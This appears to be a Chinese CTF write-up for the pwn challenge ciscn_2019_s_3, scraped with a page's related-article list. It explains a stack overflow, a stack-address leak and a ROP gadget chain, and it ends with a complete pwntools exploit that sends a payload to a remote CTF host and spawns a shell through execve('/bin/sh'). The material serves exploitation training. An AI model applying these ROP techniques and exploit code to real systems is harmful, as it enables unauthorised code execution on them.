这道题挺好的,可以帮助我更好的理解gadget的利用以及rop技术

首先,查一下程序保护情况

拖进ida分析

这里sys_read和sys_write是系统调用函数,看汇编可以分析出来

我们首先要了解一下64位系统的系统调用

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

可以看到它有将rax设置为3B(59),调用了execve,execve函数作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本,这个跟system函数差不多,记录一下调用execve的地址,execve_addr=0x4004e2,在这个调用execve的函数里也看到了retn,我们可以用它继续控制程序流,接下来就是去设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell

这道题还有一个地方需要注意,那就是vuln函数汇编代码那边是leave指令,只有retn指令,说明不需要覆盖原来rbp的值,buf的溢出的值为0x10,后面紧接返回地址就行

接着分析sys_read和sys_write函数,可见write的值是0x30,会将栈上一些其它的东西打印出来,这里我们直接动态调试一下,看会泄露哪些东西

这边在read这边读入'a'*0x10,然后看write会泄露什么

可以看到0x7fffffffde70这个地址处的值 0x00007fffffffdf78 已经将栈地址泄露出来,然后我们输入的值是存在0x7fffffffde50处,用0x00007fffffffdf78-0x7fffffffde50=0x128 ,这个0x128的用处是:

因为程序每次加载程序,栈地址可能都会变化,但是偏移是不变,我们可以利用这个偏移和泄露的栈地址确定到我们输入的地址,如果我们是输入/bin/sh的话,就是到我们这字符串的地址。

然后就是要确定三个参数的位置了

先来rdx:下面这个其实已经确定rsi,并会执行call函数,但是只要覆盖其返回地址就行,可以继续rop

得先确定r13,那就找r13:

pop 6次,可以填充6个0

然后就是第一个参数rdi:

可以直接利用

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.buuoj.cn",27569)
vul_addr=0x4004EE
payload=b"/bin/sh\x00"+b'a'*0x8+p64(vul_addr)
io.send(payload)
io.recv(0x20)
bin_addr=u64(io.recv(8))-0x128 #此处的偏移0x128是动态调试出来的
mov_rdx_r13=0x400580
pop_r13_6=0x40059A
rdi=0x4005a3
gadget=0x4004E2
syscall_addr=0x400517
payload2=b"/bin/sh\x00"*2+p64(pop_r13_6)+p64(0)*6+p64(mov_rdx_r13)+p64(gadget)
payload2+=p64(rdi)+p64(bin_addr)+p64(syscall_addr)
io.send(payload2)
io.interactive()

【pwn】ciscn_2019_s_3 -- rop,gadget利用,泄露栈地址的更多相关文章

  1. RealWorld CTF 5th ShellFind 分析

    前言 RealWorld CTF 5th 里的一道iot-pwn,根据真实设备固件改编而成,觉得题目贴近iot实战且很有意思,故在此记录一下复现过程. 题目分析 题目描述 Hello Hacker. ...

  2. Linux pwn入门教程(3)——ROP技术

    作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...

  3. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. 记两道最近做的pwn题(ciscn_2019)

    这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意 ciscn_2019_es_2 这题是栈迁移的题,先上exp 1 ...

  5. MIPS Pwn赛题学习

    MIPS Pwn writeup Mplogin 静态分析   mips pwn入门题. mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在ID ...

  6. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  8. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  9. 2020信息安全铁人三项 pwn复盘

    第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...

  10. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

随机推荐

  1. KVM vm time setting

    - config file $ grep clock vm02.xml <clock offset='utc'> </clock> - NTP server $ s vm02 ...

  2. 跟进 .NET 8 Blazor 之 ReuseTabs 支持 Query 属性绑定

    ASP.NET 团队和社区在 .NET 8 继续全力投入 Blazor,为它带来了非常多的新特性,特别是在服务端渲染(SSR)方面,一定程度解决之前 WASM 加载慢,Server 性能不理想等局限性 ...

  3. Rollup 编译资源离不开 plugin

    rollup 也是一个 JavaScript 的模块化编译工具,可以帮助我们处理资源. 与webpack比较 rollup相比 webpack 理念更为简单,能处理的场景也更有限. 资源类型 处理方式 ...

  4. [oracle]使用impdp导入数据时卡在视图

    前言 oracle 19c使用impdp的时候卡在导入视图的地方一点不动,也没啥提示.根据网上资料,oracle 19在导入视图的时候会有bug. 步骤 查看导入任务 sqlplus / as sys ...

  5. Tibos.Devops项目介绍

    诞生背景 随着微服务的普及,更多的企业选择迁移到云,传统的部署方式已经无法满足需求,市面上devops产品也应运而生,结合自己使用的经验,也制作了一款同类产品,并开源出来,与大家一起探讨学习 前置条件 ...

  6. iostat命令安装及详解

    iostat是I/O statistics(输入/输出统计)的缩写,iostat工具将对系统的磁盘操作活动进行监视.它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况.同vmstat一样,i ...

  7. 使用Java来开发物联网应用

    这是Hello, Lithosphere Tutorials系列教程中的其中一篇. 感觉介绍用C/C++,用Python来开发物联网应用的文章比较多,用Java来做物联网的文章比较少. 这篇文章,介绍 ...

  8. Linux 干货整理(持续更新)

    博客地址:https://www.cnblogs.com/zylyehuo/ 如果虚拟机开机没有 ip 怎么办 1.vim编辑网卡配置文件,修改如下参数 [root@s25linux tmp]# cd ...

  9. 详细解释一下Spring是如何解决循环依赖问题的

    Spring是如何解决循环依赖问题的? 我们都知道,如果在代码中,将两个或多个Bean互相之间持有对方的引用就会发生循环依赖.循环的依赖将会导致注入死循环,这是Spring发生循环依赖的原因 循环依赖 ...

  10. Unity 性能优化Shader分析处理函数:ShaderUtil.GetShaderGlobalKeywords用法

    Unity 性能优化Shader分析处理函数:ShaderUtil.GetShaderGlobalKeywords用法 点击封面跳转下载页面 简介 Unity 性能优化Shader分析处理函数:Sha ...